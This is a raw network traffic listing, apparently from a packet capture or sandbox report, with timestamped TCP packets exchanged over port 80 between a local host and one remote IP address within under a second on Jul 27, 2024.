Jul 27, 2024 12:01:16.196516037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196599007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196660042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196688890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196749926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196789980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196845055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196872950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.196927071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.196953058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197006941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197020054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197053909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197082043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197134972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197148085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197179079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197226048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197280884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197293997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197324991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197354078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197406054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197419882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197451115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197478056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197520971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197560072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197613955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197627068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197657108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197686911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197740078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197751999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197784901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197812080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197864056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.197911024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197964907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.197978973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198009968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198040009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198095083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198122025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198174953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198188066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198220015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198250055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198302031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198316097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198345900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198374987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198427916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198451042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198451042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198479891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198508978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198559999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198585987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198638916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198652029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198682070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198710918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198761940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198777914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198823929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198839903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198893070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.198906898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.198951960 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199002028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199054956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199081898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199136972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199151039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199191093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199209929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199238062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199266911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199311972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199331045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199376106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199394941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199439049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199457884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199502945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199522018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199573994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199587107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199618101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199645996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199698925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199712038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199743032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199770927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199825048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199837923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199868917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199898958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.199944019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.199963093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200011969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200042009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200093031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200123072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200176954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200189114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200221062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200251102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200294971 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200314045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200361967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200376987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200423956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200442076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200500011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200520992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200573921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200593948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200632095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200673103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200727940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200741053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200773954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200803041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200848103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200866938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200896978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200926065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.200970888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.200989962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.201035023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.285866022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.285990000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286066055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286066055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286098957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286192894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286237955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286268950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286268950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286309004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286343098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286344051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286396027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286442041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286462069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286510944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286525965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286573887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286591053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286642075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286669016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286724091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286736965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286771059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286798000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286842108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286861897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286907911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286925077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.286971092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.286988020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287033081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287054062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287096977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287136078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287177086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287215948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287239075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287293911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287348986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287362099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287393093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287422895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287467003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287487030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287529945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287549973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287601948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287627935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287676096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287693024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287744999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287774086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287818909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287837982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287882090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.287906885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287955046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.287971020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288007021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288047075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288093090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288111925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288158894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288177967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288209915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288237095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288280010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288300991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288352966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288398027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288451910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288465977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288515091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288572073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288625002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288638115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288671017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288698912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288748026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288763046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288815975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288829088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288866043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288892031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.288942099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.288958073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289000034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289020061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289050102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289177895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289232016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289246082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289277077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289309978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289356947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289375067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289444923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289493084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289546967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289560080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289589882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289638042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289691925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289705038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289736986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289763927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289814949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289840937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289887905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289905071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.289958954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.289984941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290039062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290050983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290082932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290107965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290153980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290169954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290218115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290237904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290291071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290303946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290334940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290364027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290409088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290426970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290472984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290491104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290538073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290612936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290668964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290682077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290713072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290744066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290812016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290838957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290893078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.290906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290941954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.290971994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291027069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291040897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291071892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291104078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291148901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291169882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291222095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291248083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291301012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291313887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291343927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291390896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291444063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291456938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291486979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291520119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291565895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291582108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291625977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291676044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291728973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291743040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291774035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291802883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291847944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.291872978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291892052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.291945934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292000055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292012930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292043924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292092085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292146921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292159081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292191029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292222023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292274952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292289019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292319059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292350054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292390108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292407990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292435884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292465925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292524099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292566061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292618990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292632103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292663097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292690992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292745113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292792082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292850018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292886019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292929888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.292956114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.292978048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293008089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:16.293055058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:16.293075085 CEST	80	49704	85.28.47.31	192.168.2.5
